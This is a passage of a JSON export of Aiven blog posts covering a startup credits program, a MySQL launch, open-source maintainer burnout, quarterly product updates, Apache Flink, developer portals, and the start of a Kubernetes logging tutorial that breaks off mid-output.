them.","metaImage":{"alt":"","asset":{"_ref":"image-ece3aea82bde9edb00dd593271e6d0a8964d81c7-1567x844-png","_type":"reference"}},"metaTitle":"CloudOps from the viewpoint of Aiven | Read more"},"slug":{"_type":"slug","current":"/blog/cloudops-the-everyday-heroes"},"subtitle":"Programmers spending their time on tool issues is an old problem. The new solution in town is a separate team that takes care of it for them.","title":"CloudOps: the everyday heroes"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"2521aAC97RKCIw0JBvV5Ex","_rev":"OSa4Of7leLeKOMRysnjfBc","_type":"post","_updatedAt":"2023-06-08T08:00:53Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Aiven recently [launched](https://aiven.io/blog/an-invitation-to-cluster \"An invitation to cluster | Aiven blog\") a [startup program](https://aiven.io/cluster \"Aiven Cluster | Aiven website\") for fresh newcomers in any area of business who need their data infra done right. \n\nBut how do you get from joining the Aiven Cluster to profiting from it? Well, here's how!\n\n## 1. Join Aiven Cluster\nGo to the [Cluster page](https://aiven.io/cluster \"Aiven Cluster | Aiven website\"), fill in the form and click the big crab-colored button. This gets you started in the application process.\n\n## 2. ???\nWhen your application is approved, you receive 100K of Aiven credits. ([Among other things](https://aiven.io/cluster \"Aiven Cluster | Aiven website\")) Here are some ways you can put those credits to work for you:\n\n- Run a beefy PostgreSQL instance with 2TB of storage and half a terabyte of RAM (business-512) for 6 months\n- Run a more modest Kafka Business-8 package with plenty of spare credits left over \n- Set up the full house of data for 12 months:\n  - PostgreSQL business-64 for your database\n  - OpenSearch business-32 for searching\n  - Redis business-64 for caching to keep your apps running nicely\n  - M3 business-16 for your metrics \n  - Grafana to keep an eye on things\n\nFor more ideas, take a look at our [case studies](https://aiven.io/case-studies \"Case studies | Aiven website\") and see how others are using Aiven services.\n## 3. Profit!\nOnce you have your data infra running, it just works. We'll take care of the upgrades and the maintenance. Your data pipes stay clear and your company stays open for business.\n\nIf your startup starts out right, i.e., with Aiven, you’ll skip the cost of even setting up your own data infrastructure. This means you won’t invest in something you’d probably have to dismantle later on when the management, hardware and connectivity costs catch up with you.\n\nAnd how big do you stand to profit? According to a [recent whitepaper by IDC](https://aiven.io/blog/aiven-cloud-data-services-bring-340-three-year-roi \"Aiven cloud data services bring 340% three year ROI | Aiven blog\"), our customers saw an average of 340% three-year ROI with a 5-month payback period, and 37% lower cost of operations over three years. ","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"content","mainImage":{"alt":"","asset":{"_ref":"image-ff3b275bf4368f8067ee8a6f18d74fe384c72c1f-1567x844-png","_type":"reference"}},"publishedAt":"2021-12-01T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Find out how and, above all, WHY, join us in Cluster, Aiven's program for startups who need their data infrastructure set up right.","metaImage":{"alt":"","asset":{"_ref":"image-ff3b275bf4368f8067ee8a6f18d74fe384c72c1f-1567x844-png","_type":"reference"}},"metaTitle":"Cluster: Aiven's program for startups | Join \u0026 profit Now"},"slug":{"_type":"slug","current":"/blog/cluster-for-profit"},"subtitle":"Find out how and, above all, WHY, join us in Cluster, Aiven's program for startups who need their data infrastructure set up right.","title":"Cluster for profit"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"5cZYvYF6yRID8lqusbyVDR","_rev":"OSa4Of7leLeKOMRysnjwM0","_type":"post","_updatedAt":"2023-06-08T08:01:39Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"Happy 2019!  We're kicking off the year with a number of new product and\nfeature launches, starting with MySQL.\n\nOur mission is to let developers focus on their applications while we take\ncare of their data infrastructure.  This means that we're closely following\nthe development of the most interesting open source software projects and\nlistening to feedback from our customers and the community when prioritizing\nour roadmap.\n\nWe've been gathering requirements and understanding use cases for MySQL for\nquite some time, and I'm happy to announce that MySQL is the next database\nengine to be launched in Aiven.  In addition to being one of the most popular\ndatabase engines out there, MySQL, like Aiven, was launched by a Finnish\nteam so in many ways it's a natural extension to Aiven.\n\n## Early access in Q1\n\nFeature-wise, we're looking to offer only the latest major version, 8, with\nplans quite similar to our current PostgreSQL plans in terms of features and\ncapacity.  Details will be released over the coming months as we open our\nearly access program.\n\nLaunching MySQL on Aiven requires us to implement various new tools to\nbetter handle backups in different cloud environments as well as to\nintegrate monitoring data with various external systems.  In line with our\nopen source commitment, we'll be publishing these tools on [our GitHub\nsite](https://github.com/aiven) as we move closer to GA.\n\nEarly access to Aiven MySQL is expected to be available by end of Q1, with\ngeneral availability to follow during Q2.  Please contact us through the\nonline chat or [email](mailto:support@aiven.io) to sign up for early access.\n\n## What's next?\n\nIn addition to MySQL, our growing team has been working on e.g.  Kafka\nimprovements and enhancements as well as better integration with external\nauthentication and authorization systems with finer-grained access control\nfor different database engines.  We'll be announcing and releasing these\nfeatures over the next couple of weeks, stay tuned!\n\nP.S. we're also looking for talented developers and developer advocates to\njoin our team to work on open source infrastructure, check out some of the\nopen positions on [our careers page](https://aiven.io/careers) and apply.\nMany of the positions are available for remote candidates in EU or US.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"4oOXmVdOFVtsrwUNsesw8P","_ref":"4oOXmVdOFVtsrwUNsesw8P","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-11cd9b9c8bcfc0c6e5a4aea829c58e1fd69515e1-752x405-png","_type":"reference"}},"publishedAt":"2019-01-08T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven Blog: Read about the 2019 launch of Aiven for MySQL, a popular database engine for better handling of back-ups in cloud environments. ","metaImage":{"alt":"","asset":{"_ref":"image-11cd9b9c8bcfc0c6e5a4aea829c58e1fd69515e1-752x405-png","_type":"reference"}},"metaTitle":"Aiven for MySQL | 2019 launch | Read more in our blog"},"slug":{"_type":"slug","current":"/blog/coming-soon-mysql-on-aiven"},"subtitle":"Aiven Blog: Read about the 2019 launch of Aiven for MySQL, a popular database engine for better handling of back-ups in cloud environments. ","title":"Coming soon: MySQL on Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"6xsLe60xhyOugnLw9yg8Uc","_rev":"KtWw3EPsvVF1DpRqAKLBTp","_type":"post","_updatedAt":"2023-06-22T13:48:51Z","authors":[{"_key":"6kbIS9XcSGAirsTtwXqhdf","_ref":"6kbIS9XcSGAirsTtwXqhdf","_type":"reference"}],"body":"Being part of a community is what humans are largely designed for. People cluster up. We support each other and provide companionship by coexisting  in shared spaces. The fact that today these spaces are increasingly virtual, online and asynchronous does not change the foundational workings of human groups.\n\nBut no one said it’s easy. Every community has its issues that arise from how human beings act towards each other. Besides companionship, there’s jockeying for position; in addition to support, there’s scrambling for status; and always--always--there are conflicts.\n\nAn outsider might think that, as a loose conglomeration of volunteers, the open source community is exempt from all that. Not so. The open source community absolutely has the same power games, harassment, arguments and abuse as any other community where bad behaviour goes unchecked. \n\nAnd since humans are such social, communal animals, poor community experiences have a profound impact on our mental well-being. In this article, we’ll take a look at the less salubrious side of the virtual open source community and its very real-life consequences. \n## The times are changing\nFor quite a long time, it was pretty much taken for granted that the maintainer of an open source project would be expected to work 24/7, fixing or adding functionality to their project on demand. They’d have to put up with tons of negative feedback, sometimes even downright abuse. And they'd have to do all this unpaid!\n\nIt wasn’t just maintainers, either. Regular members of the community also had to be on their toes because online discussions were not, by and large, safe places to speak up.\n\nI’ve seen a sea change during this past year and a half. Because of the pandemic, working life for many people shifted online, and suddenly there was a surge of interest in online well-being. I’m not claiming problems in the open source communities are now solved, but at least they are acknowledged by a larger part of the internet population.\n## Volunteer burnout in the open source community\nDespite the great improvements, there are still many unsolved problems. One of the biggest ones has been, and will continue to be, the voluntary basis of open source work – the vast majority of which is made in the contributor’s free time. \n\nOpen source maintainers start their projects with lots of enthusiasm and motivation. They invest their personal time doing work for no monetary compensation, simply because they love doing it and love seeing the fruits of their labor harvested and baked into bigger, beautiful open source pies.\n\nYet far from receiving thanks, appreciation and goodwill, contributors are frequently served harassment and abuse. Users demand a premium service from the maintainers, but are not willing to pay for it. This creates a toxic environment where maintainers are expected to satisfy anonymous demands in record time for free. \n\nWhile giving up their holidays to do it.\n\nAs time passes and they encounter increasing demands and abuse, that motivation starts to flag until they finally end up crashing and burning out. Many maintainers abandon their projects. \n\nAnd they are fully within their rights to get out of a toxic situation. Wouldn’t you? No one has the right to demand or expect permanent 24/7 commitment from volunteers.\n## Why we should all care\nIf you’re not an open source project maintainer or contributor, this may all sound a bit distant. Of course it’s a shame, you may think, and someone should do something, but it’s really nothing to do with me.\n\nYou’d be wrong.\n\nThe internet as we know it depends massively on open source projects. A good chunk of those projects depend on a single maintainer’s work. Remember [Heartbleed](https://en.wikipedia.org/wiki/Heartbleed \"Heartbleed | Wikipedia\") in 2014? That vulnerability was tracked down to OpenSSL, an important library used in the foundations of the secure internet – and maintained by just one person. \n\nAnd if that one key person decides they’ve had enough of the thankless volunteer treadmill and quits, what do you suppose happens to online shopping and social media?\n\nThis is not just a hypothetical what-if scenario. In 2016, web development experienced a serious hiccup because [one programmer deleted 11 lines of code](https://qz.com/646467/how-one-programmer-broke-the-internet-by-deleting-a-tiny-piece-of-code/ \"How one programmer broke the internet by deleting a tiny piece of code | Quartz\") comprising the ´left-pad´ package from npm.\n\nBut that’s not the worst of it. We’ve seen cases of straight up crime. In 2018, a maintainer of a popular Node.js library decided to step away from the maintainer role. One developer contacted him offering to be the new maintainer, and the handover was made in good order. Some time later, however, [the new maintainer inserted some malicious code](https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets \"Hacker Infects Node.js Package to Steal from Bitcoin Wallets | Trend Micro\") into the library that stole from bitcoin wallets.\n\nThese things will keep happening if we don’t change the status quo. \n## We can make it better - professionally\nOne big step that the community has taken is to adopt Codes of Conduct. With these, maintainers can enforce rules that make the open source community forums safer environments where participation is rewarding. This helps make communities more diverse and more welcoming.\n\nBut the truth is that, thanks to the anonymity of the internet, nothing really prevents bad actors banned from a community from assuming a new identity and returning to engage in the same behavior again.\n\nAt Aiven, we’re stepping up with our own Open Source Program Office, or OSPO. Its purpose is to ease the burden on the current open source communities.\n\nAll of our OSPO team members are maintainers or long time contributors in several mainstream projects, and they understand the current state of affairs in the open source communities. A common sentence heard in our team is: we made our hobby our work!\n\nWe don’t just work to add new features to the various open source projects Aiven uses downstream. We also make these projects more sustainable, for example by removing technical debt. We’re finding this is a great way for a company with its roots in the open source community to contribute back. We like to think we’re maintaining the mental health of the volunteer developers who would otherwise have to do this work without pay or thanks.\n\nHowever, we also need to take care of our own mental health. We aim to strike a balance between the effort of performing these hard, low-recognition tasks and giving enough challenging, creative and rewarding work to those same engineers.\n\nThe OSPO team also aims to bolster the communities that surround their own open source projects. Besides adhering to [our Code of Conduct](https://www.contributor-covenant.org/version/2/0/code_of_conduct/ \"Contributor Covenant CoC\"), we discuss things in the open and define reasonable ‘time-to-respond’ expectations. We want to keep our communities safe.\n\n## Wrapping up\nSupporting the mental health of individuals in the open source community space is not just the humane thing to do, it’s also a crucial part of keeping the whole connected world safe. As long as we rely on the free labor of love performed by individuals, the least we can do is keep those individuals safe and sane.\n\nAiven is committed not just to open source software, but also to the community that creates it.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b719ac2f403146e59aae99d23acc219c5ae5688e-1567x844-png","_type":"reference"}},"publishedAt":"2021-10-11T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Being part of a community is not always easy. Find out what Aiven is doing to support the individuals who contribute to and maintain open source projects.","metaImage":{"alt":"","asset":{"_ref":"image-b719ac2f403146e59aae99d23acc219c5ae5688e-1567x844-png","_type":"reference"}},"metaTitle":"Aiven supporting the open source community | Read more"},"slug":{"_type":"slug","current":"/blog/staying-sane-in-open-source"},"subtitle":"Being part of a community is not always easy. Find out what Aiven is doing to support the individuals who contribute to and maintain open source projects.","title":"Staying sane in open source"}
{"__i18n_lang":"en","_createdAt":"2023-04-06T09:38:57Z","_id":"04de65a3-9096-49e0-a7b2-5fafc4d0f7d5","_rev":"OSa4Of7leLeKOMRyso0GPo","_type":"post","_updatedAt":"2023-06-08T08:32:12Z","authors":[{"_key":"a8a9f0430b93","_ref":"496dfbad-f06f-469f-8658-d40fc51b4324","_type":"reference"}],"body":"## Aiven for Apache Flink® reached General Availability\nIn February, our latest service Aiven for Apache Flink® became generally available. With this unique fully managed Flink SQL service, you can leverage the power and flexibility of real time data processing. Together with Apache Kafka®, Apache Flink enables you to create a robust event streaming infrastructure. Events can flow within the organization via Apache Kafka, while Apache Flink acts as the computational layer, processing those events in real time.\n\nRead more in our blog: [Aiven for Apache Flink® generally available](https://aiven.io/blog/aiven-for-apache-flink-generally-available)\n\n## Organizations and Units\nFebruary also saw the introduction of a new organization concept. An organization is the central entity that lets you manage users, authentication and billing settings more easily. Organizational units allow you to further refine the hierarchy of your projects and services. For example, you can now easily split production and testing workloads into different organizational units that are in the same Aiven organization. \n\nFind out more in our blog: [Introducing organizations and units in Aiven](https://aiven.io/blog/introducing-organizations-and-units-in-aiven)\n\n## PostgreSQL® version 15\nWe were quick in introducing support for version 15 in our Aiven for PostgreSQL® service. The new version comes with a wealth of new capabilities and performance enhancements that make managing workloads more efficient, while providing a better developer experience. \n\nExplore PostgreSQL 15 further in our blog: [Announcing Aiven for PostgreSQL 15](https://aiven.io/blog/announcing-aiven-for-postgresql-15)\n\n## Klaw version 2.1\nKlaw, our open source Apache Kafka® governance tool, again saw two new releases during the quarter. A new major version 2.0 was released in February, along with a minor upgrade with version 2.1 in March. Some of the key new features include a redesigned React UI, schema promotion, and support for authorization from your OAuth2 provider/Active Directory.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/9b76a55452b7b07dbe97b69619079acea84ae0b3-1562x663.png?w=450)\n\nLearn more about the [Klaw 2.0](https://www.klaw-project.io/releases/release200) and [Klaw 2.1](https://www.klaw-project.io/releases/release210) in the Klaw official website.\n\n## New home screen in the Aiven Console\nIf you are a user of the Aiven Console, you can’t miss this one. When you login to the Console you will no longer deep dive straight into a list of all services in one of your projects. Instead, you will land on a new home screen that gives you quick access to all your projects and their respective services that may require your attention, as well as direct view to the platform status and recent product updates.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/85e54618be2a5ee16615d2b0b44ee4ae2667e161-1526x813.png?w=450)\n\n## Aiven authentication with Github\nQ1 also saw the release of Github authentication with the Aiven platform. It is now possible to sign up and authenticate to the Aiven platform using your GitHub credentials. This new addition makes it easy for all of us using GitHub to get started and use the Aiven services.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/467a11375cd0e6f9fda3ee8a4780e3d37159d65f-1504x907.png?w=450)\n\n## Migration wizard for MySQL\nWant to migrate the data from your existing MySQL database to Aiven for MySQL? We have made it even easier than before by introducing a graphical migration wizard for it. Just hit the “Migrate database” button on your service overview screen to get started.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/18110355f6841a73fc9dc1b39f1568407c36e0e5-1588x908.png?w=450)\n\n## Manage ClickHouse® integrations in the Console\nOne of the most powerful capabilities of Aiven for ClickHouse® is its ability to integrate directly to Apache Kafka® and PostgreSQL® environments. Managing the integration details used to require using our Command Line Interface (CLI) tool and specific syntax - but now you can also do it easily via the graphical user interface of the Aiven Console.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/8699240f7c14ee81e6ca73df9753d4ebedb49a8e-1351x741.png?w=450)","categories":[{"_key":"7a82607b64a0","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"7004b7fa3d61","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-3deb75dd2c90d1a2f2f1ce4805103a4acc6311b6-1567x844-png","_type":"reference"}},"publishedAt":"2023-04-14T10:00:23.514Z","related":[{"_key":"34cce57617f9","_ref":"bc611918-4bbd-462d-95ac-cc2ebf962189","_type":"reference"},{"_key":"eb32c56afa32","_ref":"70c50025-8a7e-47d1-9260-bc1cf116c176","_type":"reference"},{"_key":"f48cfc465891","_ref":"960bf5f6-3b4e-40d9-a78a-114f31759cda","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Aiven's Product Updates in Q1/2023 - Find out more!"},"slug":{"_type":"slug","current":"/blog/what's-new-at-aiven-q12023"},"subtitle":"Our product and engineering teams at Aiven have been busy! Find out what was released in the first quarter of 2023.","title":"What's new at Aiven: Q1/2023"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"2gd1vIdghZUUbOpQMshxXS","_rev":"j5OhKGUVbND2aFEj9l9xKe","_type":"post","_updatedAt":"2023-06-22T13:30:59Z","authors":[],"body":"__Update / February 2023: [Aiven for Apache Flink](https://aiven.io/flink \"Aiven for Apache Flink\") is generally available!__\n\nGiven that you’re reading these words, you’re probably looking to solve a data problem. Maybe you’re evaluating platforms to revamp your data pipeline, or troubleshooting a customer service issue. Maybe you’re not getting the kind of ROI that you expect from your analytics or Internet of Things (IoT) solutions. Or maybe you’re just curious about Apache Flink! We’re not here to judge.\n\nWhatever your motivation, this post provides a comprehensive overview of Apache Flink, exploring how companies are using this platform to expand the way they process data. \n\nBefore we dive in, here’s a small primer on why companies are embracing solutions like Apache Flink.\n\n## What is Apache Flink?\nFlink is an open source framework and distributed, fault tolerant, stream processing engine built by the Apache Flink Community, a subset of the [Apache Software Foundation](https://www.apache.org/). Flink, which is now at version 1.11.0, is operated by a team of roughly 25 committers and is maintained by more than 340 contributors around the world.\n\nThe name Flink derives from the German word *flink* which means fast or agile (hence the logo, which is a red squirrel — a common sight in Berlin, where Apache Flink was partially created). Flink sprung from Stratosphere, a research project conducted by several European universities between 2010 and 2014.\n\nFlink is part of a new class of systems that enable rapid data streaming, along with Apache Spark, Apache Storm, Apache Flume, and Apache Kafka. The open source tool is helping countless businesses transition away from batch processing in use cases where it makes sense to do so. Flink is now widely used in many leading applications, which we will explain further in this post.\n\nWith Flink — which is written in Java and Scala — companies can receive event-at-a-time processing and dataflow programming, using data parallelism and pipelining.\n\nUp next, let’s take a deep dive and explore what you can do with this powerful open source program. \n## What Can Apache Flink Do?\nHere are some of the ways that organizations use Apache Flink today.\n### 1. Facilitate simultaneous streaming and batch processing\n\nAs creators Fabian Hueske and Aljoscha Krettek explain [in a DZone post](https://dzone.com/articles/towards-a-unified-data-processing-framework-batch#:~:text=Batch%20on%20Top%20of%20a%20Streaming%20Runtime\u0026text=Figure%202.,as%20high%2Dthroughput%20batch%20shuffles.), Flink is built around the idea of “streaming first, with batch as a special case of streaming.” This, in turn, reduces the complexity of data infrastructure.\n\n“As [the original creators of Flink](https://dzone.com/articles/towards-a-unified-data-processing-framework-batch#:~:text=Batch%20on%20Top%20of%20a%20Streaming%20Runtime\u0026text=Figure%202.,as%20high%2Dthroughput%20batch%20shuffles.), we have always believed that it is possible to have a runtime that is state-of-the-art for stream processing and batch processing use cases simultaneously; a runtime that is streaming-first, but can exploit just the right amount of special properties of bounded streams to be as fast for batch use cases as dedicated batch processors,” Hueske and Krettek write.\n\nThis is arguably the best feature of Flink. Its network stack can support low-latency and high-throughput streaming data transfers along with high-throughput batch shuffles — all from a single platform. \n\nThis can drastically simplify operations, helping organizations save time and money along the way. \n### 2. Process millions of records per minute \nSince Flink uses an event-at-a-time processing schematic, it can process millions of events per minute/second. \n\nHere’s how it works: Flink consumes an event from the source, processes it, and sends it to a sink. Then it goes on to process the next event immediately; it doesn’t wait while aggregating a batch of events.\n\nWith this functionality, Flink can process tons of events with ultra-low latency. As a result, you can to increase the throughput of your applications while having the ability to scale your systems to multiple machines.\n### 3. Power applications at scale\nOne of the top reasons why developers use Flink is because it can run stateful streaming applications that can support just about any workload that you feed it. Applications are parallelized into thousands of tasks, distributed and concurrently executed in a cluster, allowing applications to use virtually any amount of memory, CPU, disk, and network IO.\n\nOne user, WalmartLabs Software Engineer Khartik Khare, says he has given Flink jobs with [more than 10 million RPM](https://medium.com/walmartglobaltech/what-makes-apache-flink-scale-317f642fe6d5), with no more than 20 cores.  \n\nFlink can also scale effectively by minimizing garbage collection and data limiting transfers across network nodes. In addition, Flink uses buffering and credit-based flow control for handling backpressure.\n\nAdd it all up, and Flink helps ensure powerful applications deliver modern user experiences at scale.\n### 4. Utilize in-memory performance \nFlink produces ultra-low processing latencies by utilizing local and in-memory states for all computations. This way it can process events in real time instead of aggregating it in batches. The software also enables exactly-once state consistency, checkpointing local states to durable storage. \n\n::banner[A fully managed service for Apache Flink for all your real time ETL and streaming analytics use cases.]{ctaText=\"Start your free trial\" ctaLink=\"https://aiven.io/flink\" title=\"Aiven for Apache Flink®\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64.svg\"}\n\n## Wrapping up\nNow that you have the initial lowdown on Flink, go and find more content and news coming up on this topic! \n* [Apache Flink SQL client on Docker](https://aiven.io/blog/apache-flink-sql-client-on-docker)\n* [Build a streaming SQL pipeline with Flink and Kafka](https://aiven.io/blog/build-a-streaming-sql-pipeline-with-flink-and-kafka)\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1407e663d03b3b25b049fd4b43336238b8db1083-1567x844-png","_type":"reference"}},"publishedAt":"2021-05-05T00:00:00.000Z","seo":{"metaDescription":"Flink: OS framework and distributed processing engine for stateful computations over unbounded and bounded data streams. ...Want simpler words? Read here.","metaImage":{"alt":"","asset":{"_ref":"image-1407e663d03b3b25b049fd4b43336238b8db1083-1567x844-png","_type":"reference"}},"metaTitle":"An introduction to Apache Flink®"},"slug":{"_type":"slug","current":"/blog/introduction-to-apache-flink"},"subtitle":"Flink: OS framework and distributed processing engine for stateful computations over unbounded and bounded data streams. ...Want simpler words? Read here.","title":"An introduction to Apache Flink®"}
{"__i18n_lang":"en","_createdAt":"2023-03-14T16:59:19Z","_id":"7b69f4e1-6635-4a83-9e59-689c65273bb5","_rev":"rmwlP4nleGzuGoL3VuFpHi","_type":"post","_updatedAt":"2023-05-15T12:40:13Z","authors":[{"_key":"7bf3b0fb5433","_ref":"cd9f3dc9-f305-4c1c-9cc8-16587dece8b0","_type":"reference"}],"body":"The platform trend is nothing new, however platforms teams are getting much better at delivering consistent experiences to developers and engineering teams. If you would like to learn more about this trend, I can’t recommend the CNCF SIG App paper on the topic highly enough. \n\n## Platform teams are the productive path\nThe result is higher velocity and better productivity for engineering teams. As Atlassian states, pulled from the CNCF paper: “platform teams can create a cohesive experience that spans across different user experiences or products.” The most popular platform for delivery is the popular Backstage project, which is another CNCF project donated by Spotify. With the increased usage of Backstage, we’ve seen this become even more pronounced within many organizations; however, the ecosystem is still immature.  \n\n## Backstage today\nI’m still seeing many gaps in the ecosystem and integrations within Backstage. It seems not to integrate with cloud platforms to enable developers to provision applications, infrastructure, and other associated resources they require. Some larger Aiven clients, treat Aiven as part of the platform, similar to what our cloud provider OEMs do. They 100% control the user experience from the API to their own custom portal, they interface with Aiven strictly through their own controlled experiences and not the Aiven user experience (Aiven Portal). \n\n## How portals enable ownership\nOne of our customers is so advanced they even expose usage, billing, and detailed operational controls and observability through their portal and UI. It’s really no different from the large numbers of customers using our Terraform modules or our Kubernetes Operator, they are just providing a much richer experience versus those integrating via infrastructure. This is taking the notion of DevOps much farther, as culturally they can create transparency, allowing for development teams to be accountable for what they are building and operating and how much it costs the business. \n\n![Platform Components](https://cdn.sanity.io/images/sczeoy4w/production/04b79371cd5ad57d1cd94a077f9d096d2c891cbc-923x712.png)\n\nThese developer portals also are a boon to productivity, allowing for much faster onboarding of developers and making them productive, even if it requires engineering resources to do some of these things. Most of the organizations I have seen talk about developer experience as CI/CD, development environments, and other more basic services. \n\n## Come and talk to me at Kubecon\nIf you would like to learn more about Backstage, you should be going to Kubecon in Europe, you can come and meet me too. I will be delivering the Jaeger Project Maintainer talk on April 19th at 11:55am https://sched.co/1HySf. Are you interested in seeing an Aiven integration to Backstage? \n\nShould developer portals have richer experiences around operational visibility, like observability tooling? How about database management tools beyond basic administration? I’d love to hear your opinion, just message on Twitter @jkowall or LinkedIn [https://linkedin.com/in/jkowall](https://linkedin.com/in/jkowall)\n","categories":[{"_key":"5ee14a8c44cf","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","alt":"Empowering Platform teams with Portals","asset":{"_ref":"image-19cea712fa66d1413f28fec799996526258104c9-1567x844-png","_type":"reference"}},"publishedAt":"2023-03-20T14:36:00.000Z","related":[{"_key":"b5dab945667a","_ref":"31bd6760-3411-4c1c-8164-9a8e2242d8bf","_type":"reference"},{"_key":"94c2f069070a","_ref":"9a3a45e9-76c1-438a-9222-19f024dd7917","_type":"reference"},{"_key":"0d1858a923db","_ref":"b5983f68-dc8a-4425-8c63-563319eaa59d","_type":"reference"}],"seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"empowering platform teams with portals","asset":{"_ref":"image-19cea712fa66d1413f28fec799996526258104c9-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/blog/empowering-platform-teams-with-portals"},"subtitle":"Making development teams productive, faster, using platform services and self-service portals like Backstage.","title":"Empowering Platform teams with Portals"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"6vF2f6KhhobR9G4rYOEKaJ","_rev":"GEwcjZ4hpY0RnpIR7pccI8","_type":"post","_updatedAt":"2023-06-22T13:40:08Z","authors":[{"_key":"6vPlPbH3IGfjUppRYabv9t","_ref":"6vPlPbH3IGfjUppRYabv9t","_type":"reference"}],"body":"Logs are extremely important for understanding the health of your application, and in the event of problems, they help in diagnosing the issue. Methods and tools for capturing, aggregating and searching logs make the diagnosis process simpler. They are even more important with the adoption of microservices and container orchestrators, like Kubernetes, because logs come from many more places and in more formats.\n\nWith hundreds or even thousands of Pods creating logs on dozens of Nodes, it's tedious, if not impossible, to install a log capturing agent on each Pod for each different type of service. One way to solve this problem is to coordinate a Kubernetes deployment of a log agent onto each Node, capture the logs for all the Pods, and export them somewhere.  We can achieve this with a Kubernetes abstraction that does not require knowing what is running on each Pod:\n[DaemonSet](https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/).\nBriefly, a DaemonSet allows the scheduling of Pods on some or all Nodes based upon a user defined criteria.\n\nHere's the overall process:\n1. Set up a Kubernetes Cluster\n2. Create Pods to generate logs\n3. Push the logs from each pod in the cluster to an external [OpenSearch](https://aiven.io/opensearch) cluster.\n\nI will utilize the [Aiven for OpenSearch](https://aiven.io/) service, because it is intuitive, secure out of the box, and provides a basis for extension (e.g. pushing logs to [Apache Kafka](https://aiven.io/kafka) initially and then onto OpenSearch). For more information about how to do that with [Aiven for Apache Kafka Connect](https://aiven.io/kafka-connect) please check out the Aiven Help article on\n[creating an OpenSearch sink connector for Aiven for Apache Kafka](https://help.aiven.io/en/articles/2349675-aiven-kafka-elasticsearch-sink-connector).\n\n## Install the dependencies\nAll the code for this tutorial can be found at [https://github.com/aiven/k8s-logging-demo](https://github.com/aiven/k8s-logging-demo).\n\nThe code can be used as described in this tutorial, but if you really get into it, there are also instructions for building and deploying an API into our cluster and setting up a Kafka integration.\n\nLet's start by cloning the repository:\n```bash\ngit clone https://github.com/aiven/k8s-logging-demo.git\ncd k8s-logging-demo\n```\n\nMake sure you have the following local dependencies installed:\n * [Docker](https://docs.docker.com/get-docker/)\n * [Minikube](https://minikube.sigs.k8s.io/docs/start/)\n * [Kubectl](https://kubernetes.io/docs/tasks/tools/#kubectl)\n * [Helm](https://helm.sh/docs/intro/install/)\n\n## Create the Kubernetes cluster\nTo create a Kubernetes cluster with Minikube, enter the following:\n\n```bash\nminikube start\n```\nYou can verify that your cluster is up and running by listing\nall the Pods in the cluster, like this:\n\n```bash\nkubectl get pods --all-namespaces\n```\n\nAnd you should see something like this:\n\n```bash\nNAMESPACE     NAME                               READY   STATUS        RESTARTS   AGE\nkube-system   coredns-74ff55c5b-mf9dj            1/1     Running       0          14d\nkube-system   etcd-minikube                      1/1     Running       0          14d\nkube-system   kube-apiserver-minikube            1/1     Running       0          14d\nkube-system   kube-controller-manager-minikube   1/1     Running       